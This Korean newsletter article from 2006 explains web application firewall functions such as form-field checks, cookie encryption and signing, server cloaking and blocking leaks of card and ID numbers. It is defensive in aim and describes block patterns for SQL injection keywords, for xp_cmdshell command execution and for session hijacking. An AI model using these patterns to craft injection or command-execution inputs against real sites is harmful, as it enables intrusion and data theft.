또한 로그인한 사용자와 그렇지 않는 사용자에게 다른 서비스를 제공하는 애플리케이션과 같이 자원이 구분돼 있는 경우는 별도의 보호 URL 리스트(Protected URL list)와 진입 URL(Entry URL List)을 설정해 자원에 대한 접근을 제한할 수 있다.

그런데 이와 같은 애플리케이션 접근 제어 기능을 사용하기 위해서는 애플리케이션의 구조에 대한 지식이 필요하다. 일반적으로 애플리케이션 관리자의 경우 애플리케이션 개발자와 다르기 때문에 애플리케이션의 구조에 대한 지식이 부족한 경우가 많다. 그래서 웹 방화벽은 애플리케이션의 구조를 자동으로 분석해주는 크롤러(Crawler)나 학습(Learning) 기능이 함께 제공되는 경우가 많다.

b. 폼 필드 검사 기능(Prameter ACL)
웹 애플리케이션에 대한 공격의 대부분은 폼 필드를 처리하는 action URL에 해당하는 프로그램에 대한 공격이다. 웹 애플리케이션에 대한 입력은 대부분 폼 필드를 통해 이뤄지므로 웹 애플리케이션 공격이 이 폼 필드에 집중되고 그래서 웹 방화벽의 핵심 기능도 폼 필드 입력에 대한 검사 기능이다. 폼 필드 검사 기능의 폼의 형식이나 입력 값의 조건 등을 입력하는 방식의 Positive 방식과 입력되어서는 안 되는 패턴을 정의하는 Negative 방식을 함께 사용한다.

예를 들어 quote('), comma(,), semi-colon(;), 스페이스 등의 SQL 표현식에 필요한 문자들과 OR, SELECT, UNION과 같은 SQL 키워드의 조합이 폼 필드 입력 값으로 들어오면 필드 형식 제한 및 차단 패턴 검사로 걸러지게 된다.

Xp_cmdshell과 같은 시스템 명령을 실행할 수 있는 공격이 들어오는 경우도 차단 패턴 검사에 의해 걸러진다.


[그림3] 폼필드 공격의 예


 

검사항목

설명

필드 길이 제한

필드에 대한 버퍼 오버플로우 공격을 차단하기 위해 입력 크기를 검사한다. 미리 정의된 길이에 위배되는 입력이 들어오면 차단

필드 형식 제한

SQL-injection, 버퍼 오버플로우 공격을 수행하는 것을 차단하기 위해 필드 형식을 검사한다. 일반적으로 정규식으로 표현된 패턴에 위배되는 입력이 들어오면 차단

상수 값 변조 검사

필드에 대한 입력 값을 변조하는 공격을 차단하기 위해 값이 고정된 필드의 경우 변조 여부를 검사한다. 필드가 항상 고정된 값을 갖거나 서버가 클라이언트에게 전달된 값이 변경없이 다시 돌아와야 하는 경우에, 허용된 상수 리스트 이외의 값이 입력으로 들어오면 차단

차단 패턴 검사

공격으로 알려진 패턴이 입력되는 것을 차단하는 기능이다. 대표적인 Negative 기능으로 SQL-injection, XSS, 버퍼 오버플로우 공격에 사용됨


[표1] 폼필드 검사항목


 


[그림4] 폼필드 ACL설정의 예


c. Cookie 보호 기능
웹 애플리케이션의 세션 기반 동작을 위한 핵심은 쿠키(cookie)다. 따라서 세션에 대한 공격을 위한 주 공격 대상이 되는 것도 쿠키며, 거의 모든 웹 방화벽에서도 쿠키 보호 기능을 제공한다.

쿠키 보호 기능에는 쿠키 형식 검사, 암호화, 변조를 막는 전자 서명으로 나눌 수 있다.

웹 방화벽은 사용자 설정이나 학습을 통해 쿠키의 크기, 형식과 같은 정보를 갖고 클라이언트에서 서버로 제공되는 쿠키의 형식을 검사하며 형식에 맞지 않는 쿠키 값이 존재할 경우 조작된 쿠키로 간주해 이를 웹 서버로 전달하지 않는다.

쿠키 암호화는 웹 서버에서 클라이언트로 보내는 쿠키를 웹 방화벽에서 암호화해 보냄으로서 악의적인 공격자가 암호화된 쿠키의 내용을 볼 수 없고 임의로 쿠키 값을 변조하더라도 웹 방화벽에서 복호화하여 다시 웹 서버로 전달 됐을 때 아무런 의미 없는 값이 전달되므로 공격을 무위로 돌릴 수 있다.

그런데, 쿠키의 단순한 암호화는 쿠키 값의 의미를 클라이언트가 추측할 수 없도록 해주지만, 쿠키의 조작 여부를 판단할 수는 없다. 조작 여부를 판단할 수 있도록 메시지 인증 코드(Message Authentication Code, MAC)를 삽입하거나 쿠키 전자 서명을 사용해 이를 보완한다.

아무리 암호화를 해도 쿠키의 내용을 변조하지 않고 그대로 가져가 다른 사용자의 세션을 가로채는 세션 하이재킹(session hijackin)공격에는 적절히 대응할 수 없다.
세션 하이재킹을 막기 위해서는 세션 쿠키의 타임아웃을 지정하는 방법을 사용하기도 하지만, 타임아웃 되기 전에 이뤄지는 세션 하이재킹에는 속수무책이다. 그래서 일부 웹 방화벽에서는 세션 쿠키에 대한 IP 주소 제한 기능을 제공하기도 한다. 서버가 쿠키를 전송해준 IP 주소 이외의 곳에서 쿠키가 입력될 경우 세션 하이재킹으로 간주해 요청을 차단하는 것이다.

이 같은 IP 주소 기반 쿠키 보호 기능은 보완성을 높여주기는 하지만, 동적 IP나 프록시 팜을 이용하는 사용자와 같은 특정 상황에서는 제한적으로 사용될 필요가 있다.


[그림5] 사용자로 가는 쿠키에 대한 암호화와 전자 서명을 나타냄


d. 웹 사이트 위장 기능
위장(Cloaking) 기능은 웹 방화벽 뒤에 있는 웹 서버의 정보를 최대한 숨겨 악의적인 공격자가 공격 대상을 지정하거나 공격의 성공에 도움이 되는 정보를 획득할 수 없도록 한다.

일반적으로 공격자들은 성공적인 공격을 위해 스캐닝을 통해서 웹 서버의 종류와 버전을 미리 알아낸 후 그에 해당하는 공격을 수행한다. IIS서버에는 IIS서버의 해당 버전에 맞는 공격 코드를 실행하고, 아파치 서버라면 아파치 서버의 해당 버전에 맞는 공격 코드를 실행하는 것이다. 이런 경우 웹 방화벽에 의해 조작된 서버 정보를 이용해 공격자를 방해하거나 아예 정보를 노출 하지 않을 수 있다. 특히 자동화된 취약점 공격 툴을 사용하는 공격자라면 변조된 서버 정보에 의해 공격을 성공시키는 것이 더욱 어려울 것이다.


[그림6] 사용자로 하여금 대상 서버에 대한 정보를 감춘다.


e. 컨텐츠 보호 기능
컨텐츠 보호 기능은 다양하지만 가장 인기 있는 것은 주민등록번호나 신용카드 정보의 유출 차단 기능이다. 이것은 SQL-injection과 같은 웹 애플리케이션에 대한 공격의 결과로 데이터베이스에 저장돼 있는 고객들의 개인 정보 유출을 차단하는 기능이다. 이 기능은 일반적으로 정규식과 같은 형식의 룰을 사용해 서버의 응답을 검사한다.

예를 들면 Visa 신용 카드의 경우는 다음과 같은 정규식을 사용해 응답을 검사한다.
4[[:digit:]]{12}|4[[:digit:]]{15}

정규식을 이용한 매칭 이외에도 주민등록번호와 같이 규칙이 있는 패턴은 별도의 검사 루틴이 포함돼 오탐지율을 줄이기도 한다.

f. 그 밖의 웹 애플리케이션 보호 기능
전통적인 방화벽에서의 NAT기능을 모방한 WAT(Web address Translation)기능으로 사용자에게는 실제 웹 주소를 감출 수 있다.
a.###.com/login.asp 와 b.###.com/banner.gif 는 모두 www.###.com/login.asp와 www.###.com/image/banner.gif 로 변경되어 사용자에게 노출하는 기능이다.

그 밖에 HTTP 트래픽을 HTTPS 트래픽으로 암호화해 전송하는 기능, 네트워크의 속도 저하 방지 및 효율성 보장을 위한 WEB I/O, SSL 가속, WEB cache 기능, 웹 서버들의 로드 밸런싱 기능 등이 현재 출시된 웹 방화벽들의 주요 기능들이다.

웹 방화벽의 혜택

기업들이 계속해서 웹에 더 많은 정보를 올림에 따라 애플리케이션 차원의 공격은 점점 더 일반화될 것이다. 이미 수많은 해커 웹 사이트에서는 이런 활동을 돕는 자습서와 쉐어웨어 프로그램까지도 제공하고 있다. 그러므로 기업은 애플리케이션 플로우 모델을 보안 전략으로 삼아 애플리케이션 방화벽을 이용한 체계적인 접근이 필요하다.

[참고]
NETWORK TIMES 2005.11, 2006.2,3,4월호
http://www.kisia.or.kr
http://www.netcontinuum.com

 

 

[저자] 이승묵 안랩코코넛 보안사업부, mook@coconut.co.kr
[출처] 안랩코코넛 시큐레터(2006. 6월)

Posted by 1010